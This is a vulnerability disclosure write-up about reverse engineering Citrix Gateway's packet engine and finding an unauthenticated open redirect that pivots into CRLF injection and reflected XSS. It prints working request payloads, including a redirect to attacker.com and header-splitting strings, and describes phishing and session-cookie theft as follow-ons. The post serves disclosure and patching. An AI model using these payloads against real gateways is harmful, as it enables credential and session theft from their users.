One of the targets we looked at late last year was Citrix Gateway. Citrix Gateway is another of these “all-in-one” network devices, combining a load balancer, firewall, VPN, etc. Older versions of this product were sold under the name “NetScaler”. In this case we were only looking at the VPN component (Citrix Gateway). A quick search at the time of writing yielded about ~50,000 instances of Citrix Gateway were publicly accessible. So even a smaller issue like cross-site scripting has a potentially huge impact.
During our research we discovered an open redirect vulnerability which was exploitable without authentication. We were also able to pivot this into CRLF injection leading to XSS or potentially cache poisoning if Citrix Gateway is deployed in such a configuration. For those who are concerned please don’t hesitate to update your deployments, the patch details are available here. Just before writing this post we did a quick scan of a hundred Citrix Gateway instances and found over half were still unpatched.
Citrix Gateway is a FreeBSD derivative with several extensions, including a custom network stack. A significant portion of the application (including this network stack) is packed into a what is called the Netscaler Packet Processing Engine (nsppe).
Not knowing this ahead of time made reversing initially a bit puzzling as common techniques don’t work as expected. For example, since we were targeting a web service, an easy starting point is to find what process is listening on the port and then work backwards from there. But if we ran sockstat (a FreeBSD utility similar to netstat), we got the following:
[email protected]# sockstat -4 -l
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
nsmonitor nsumond 831 6 tcp4 127.0.0.1:3013 *:*
root snmpd 615 10 tcp4 127.0.0.1:3335 *:*
root snmpd 615 20 udp4 192.168.1.90:161 *:*
root snmpd 615 21 udp4 127.0.0.1:161 *:*
root nscertforg 613 3 tcp4 127.0.0.1:15555 *:*
root aslearn 611 11 tcp4 127.0.0.1:3020 *:*
root iked 607 6 udp4 192.168.1.90:500 *:*
root iked 607 7 udp4 127.0.0.1:500 *:*
root iked 607 8 udp4 192.168.1.90:4500 *:*
root iked 607 9 udp4 127.0.0.1:4500 *:*
root iked 607 10 tcp4 127.0.0.1:8888 *:*
root nsaaad 602 3 tcp4 127.0.0.1:8766 *:*
root nskrb 598 3 tcp4 127.0.0.1:8788 *:*
root php 543 3 tcp4 127.0.0.1:9999 *:*
root imi 529 5 tcp4 *:4001 *:*
root imi 529 6 tcp4 127.0.0.1:3001 *:*
root nsconfigd 516 10 tcp4 *:3010 *:*
root nsclusterd 480 5 tcp4 127.0.0.1:7001 *:*
root nsclusterd 480 6 tcp4 127.0.0.1:7002 *:*
root nsclusterd 480 7 tcp4 127.0.0.1:7003 *:*
root nsclusterd 480 8 udp4 *:* *:*
root nsaggregat 478 3 tcp4 127.0.0.1:5555 *:*
root nsmap 476 5 tcp4 127.0.0.1:3014 *:*
nobody httpd 284 4 tcp4 *:80 *:*
nobody httpd 284 5 tcp4 127.0.0.1:81 *:*
nobody httpd 283 4 tcp4 *:80 *:*
nobody httpd 283 5 tcp4 127.0.0.1:81 *:*
nobody httpd 282 4 tcp4 *:80 *:*
nobody httpd 282 5 tcp4 127.0.0.1:81 *:*
nobody httpd 281 4 tcp4 *:80 *:*
nobody httpd 281 5 tcp4 127.0.0.1:81 *:*
nobody httpd 280 4 tcp4 *:80 *:*
nobody httpd 280 5 tcp4 127.0.0.1:81 *:*
root sshd 213 4 tcp4 *:22 *:*
root httpd 207 4 tcp4 *:80 *:*
root httpd 207 5 tcp4 127.0.0.1:81 *:*
root syslogd 197 6 udp4 127.0.0.1:514 *:*
Note that the Citrix Gateway service we were looking for is accessed on port 443. A port which doesn’t appear in the above list at all. Because Citrix Gateway uses its own network stack, it doesn’t necessarily populate the structures used by tools like sockstat in the way a vanilla FreeBSD installation would.
Looking through the documentation and searching online we did find that if we drop out of the bash shell and into the provided Citrix Gateway command shell, there are command we can run that give us some information.
> show ns connectiontable -Listen
NAME IP PORT SVCTYPE Traffic Domain
INTERNAL 127.0.0.1 0 ROUTE 0
INTERNAL 192.168.1.90 0 TCP 0
INTERNAL 192.168.1.90 0 ANY 0
INTERNAL fe80::20c:29ff:feae:24c2 0 TCP 0
INTERNAL fe80::20c:29ff:feae:24c2 0 ANY 0
INTERNAL ::1 0 ROUTE 0
INTERNAL 0.0.0.0 520 RIP 0
INTERNAL 127.0.0.1 5000 RPCSVR 0
INTERNAL 192.168.1.90 520 RIP 0
INTERNAL 192.168.1.90 21 FTP 0
INTERNAL fe80::20c:29ff:feae:24c2 21 FTP 0
INTERNAL 192.168.1.90 161 SNMP 0
INTERNAL fe80::20c:29ff:feae:24c2 4001 TCP 0
INTERNAL fe80::20c:29ff:feae:24c2 161 SNMP 0
INTERNAL 192.168.1.90 179 ANY 0
ns_int_ulf 127.0.0.2 5557 0
ns_int_tcp 127.0.0.2 53 DNS_TCP 0
ns_int_nam 127.0.0.2 53 DNS 0
INTERNAL 192.168.1.91 443 UNKNOWN 0
Gateway 192.168.1.91 443 SSL 0
nshttps-12 192.168.1.90 443 SSL 0
However, this still doesn’t give us much to go on. At this stage, we were feeling a bit lost. And with not much else to go on, we started searching for any manuals or documentation on the Citrix Gateway and NetScaler operating system architecture to try and understand how the device works. After browsing through quite a few leaked slide decks and unofficial blog posts, we had a rough idea of how Citrix Gateway worked. We knew at the very least, that auditing nsppe was probably where we should start.
An interesting quirk of the Gateway component being bundled with the network stack in this nsppe binary is that any debugging must be done over the console. You can imagine why this is the case, setting a breakpoint while in an SSH session will sever the connection since no more packet processing to support the SSH session can occur while the process is suspended. As such, most of the analysis was performed offline by reading the code rather than through interactive debugging.
We found the binary at /netscaler/nsppe and it was frustratingly large, coming in at 42MB. We copied off the binary and decompiled with Ghidra, but unfortunately, decompilation failed on a number of key functions. We had more success after bumping up the decompiler resources under Edit -> Tool Options -> Decompiler to the following.
- Cache Size (Functions): 2048
- Decompiler Max-Payload (Mbytes): 512
- Decompiler Timeout (seconds): 900
- Max Instructions per Function: 3000000
We left Ghidra decompiling for an hour or so over lunch and came back to find everything successfully decompiled. Saving each function to a .c file gave us ~300MB of code to audit! Which was a lot, but at least we had somewhere to start now.
We proceeded to grep through the code for any string that resembled a URL (ASCII text, separated by slashes). We combined this with browsing around our own instance of Citrix Gateway and instances online, as different configurations and versions yielded slightly different login pages. Lastly, we also read through more configuration documentation from Citrix. Combining these three techniques we had a decently sized list of endpoints to enumerate.
We went through each endpoint on the list and tried prodding it with Burp to see if Citrix Gateway would actually respond, and if so, how. Some endpoints worked, some didn’t. We searched the code for references either to the endpoints we were hitting, or for strings we were seeing in the response. For example, if an endpoint redirected us to /vpn/tmlogout.html, we’d search the code for /vpn/tmlogout.html.
One function we eventually found was ns_vpn_process_unauthenticated_request. As you can probably guess by the name, quite a few endpoints we were searching for lead us back to this function. And the fact that it was named as “unauthenticated” was encouraging as we were looking for pre-authentication vulnerabilities.
A big problem we had been facing up until this point is that it wasn’t really clear how the path routing was being performed. We could see a lot of URLs in the binary, but most were either in log messages or response payloads such as a hardcoded string containing an XML response payload that included URLs. While digging through ns_vpn_process_unauthenticated_request we realised that Ghidra had failed to identify many compiler optimised string comparisons. In ns_vpn_process_unauthenticated_request we found many instances of the following pattern.
if ((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x687475612f666e2f) &&
(((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x657774726174732f)) {
bVar48 = (*(ulong *)&(pBVar3->RR).top | 0x2020202020202020) != 0x6f642e7765697662;
}
if (!bVar48) {
uVar37 = ns_aaa_start_webview_for_authv3((long)local_50,(long)local_48);
pBVar39 = (BN_MONT_CTX *)(uVar37 & 0xffffffff);
goto LAB_0073f539;
}
An if statement with several comparisons where every byte is OR’d with 0x20 followed by some kind of response handler, in the case above ns_aaa_start_webview_for_authv3. Hovering over the hexadecimal comparison value Ghidra would helpfully display the char[] representations. Which for the above is the following three values.
0x687475612f666e2f -> htua/fn/0x657774726174732f -> ewtrats/0x6f642e7765697662 -> od.weivb
If we byte-reverse this we get:
0x687475612f666e2f -> /nf/auth0x657774726174732f -> /startwe0x6f642e7765697662 -> bview.do
We had finally figured out how path routing was performed and why it was so difficult to search for. The compiler had inlined these short string comparisons to several equality checks rather than calling a separate function. The | 0x20 pattern was a bit-fiddling trick to lowercase the input. Lowercase ASCII letters are 32 bytes (0x20) ahead of their capital counterparts. OR’ing with 0x20 is an easy way to convert any uppercase letters to lowercase, while keeping all the existing lowercase letters the same.
Now that we had a much better understanding of what was going on, we were able to uncover more unauthenticated endpoints to enumerate. And we wouldn’t have to do quite as much searching to figure out where the code was to handle them. One endpoint we found was /oauth/idp/logout. Looking at the routing code we had the following in ns_vpn_process_unauthenticated_request.
if (((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x692f687475616f2f)
&& (((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x756f676f6c2f7064)) &&
((*(byte *)&(pBVar3->RR).top | 0x20) == 0x74)) {
uVar37 = ns_aaa_oauth_fetch_logout_url(0,(long)pBVar3,(uint)uVar8);
vpn_location_url_len = (int)uVar37;
if (vpn_location_url_len < 1) {
vpn_location_url = "/vpn/tmlogout.html";
vpn_location_url_len = 0x12;
uVar14 = 0x880002;
}
else {
vpn_location_url = (char *)tmpbuf512;
uVar14 = 0x880002;
}
goto LAB_0073da38;
}
/vpn/tmlogout.html is what we kept seeing as the Location header of the response. In the code above it looks like that is the default value, but otherwise it is set to tmpbuf512. Diving into the decompiled output for ns_aaa_oauth_fetch_logout_url we found the following helpful log message. The snippet missing post_logout_redirect_uri caught our attention.
...
if (0x484 < uVar2) {
__format = "%s : OauthIDP logout request failed to extract redirect URI: missing post_logout_redirect_uri %.*s for %.*s";
LAB_0061f124:
uVar2 = snprintf(large_auditlog_message,0x3fff,__format,"ns_aaa_oauth_fetch_logout_url",
(ulong)param_3,param_2,uVar3,lVar5);
goto LAB_0061f13e;
}
...
Playing around with this endpoint in Burp, we identified the query parameter post_logout_redirect_uri. Given the name of the parameter, and what we knew about this function, it seemed a good candidate for an open redirect vulnerability. We tried out our theory and were happy to have found our first vulnerability, an open redirect.
GET /oauth/idp/logout?post_logout_redirect_uri=attacker.com HTTP/1.1
Host: 192.168.1.91
HTTP/1.1 302 Object Moved
Location: attacker.com
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
As we saw so much raw memory handling and copying in our analysis (both here and elsewhere). We thought it prudent to double check the parameter for CRLF injection and found we were able to pivot this into a reflected cross-site scripting attack too. By inserting two newlines (%0d%0a%0d%0a) at the start to prematurely end the HTTP headers and start inserting HTML content.
GET /oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a HTTP/1.1
Host: 192.168.1.91
HTTP/1.1 302 Object Moved
Location:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
In Chrome this is an immediate XSS, Firefox handles a blank Location header a little differently. A working payload for Firefox is ws://localhost/x%0D%0A%0D%0A.
With this vulnerability we’re able to trivially redirect users to a phishing page which mirrors the Citrix Gateway logon screen to steal credentials. Alternatively, we can execute arbitrary JavaScript in the victim’s browser. Citrix Gateway appears to be pretty lax about session cookies, HttpOnly is not often set. As such, stealing the session cookie is trivial, as shown below.
Even if OAuth is neither enabled nor configured, the vulnerable endpoint is still available. And as mentioned at the beginning, Citrix Gateway is widely deployed and at the time of this article, often unpatched. This leads to a huge number of public, affected hosts.
Some key learnings from this research center around really understanding how a particular application is architected. Especially if the operating system is not running a stock version of Linux / BSD, even though, on the face of it, the OS appears unmodified. The same goes for tooling like Ghidra and understanding how it handles compiler optimisations, which may obscure what the code is actually trying to achieve, as was the case with the string comparisons. Lastly, don’t discount little things like CRLF injection. When dealing with devices that aren’t running a standard web server, it pays to try out these techniques that ordinarily have built in protections.
There’s still a lot more to look at in Citrix Gateway, we’ve only just scratched the surface. And with such a wide deployment base even little vulnerabilities can have a big impact.
To remediate this vulnerability, upgrading to the latest version of Citrix Gateway is recommended. For the for list of affected versions please see Citrix’s security bulletin here.
And, as always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.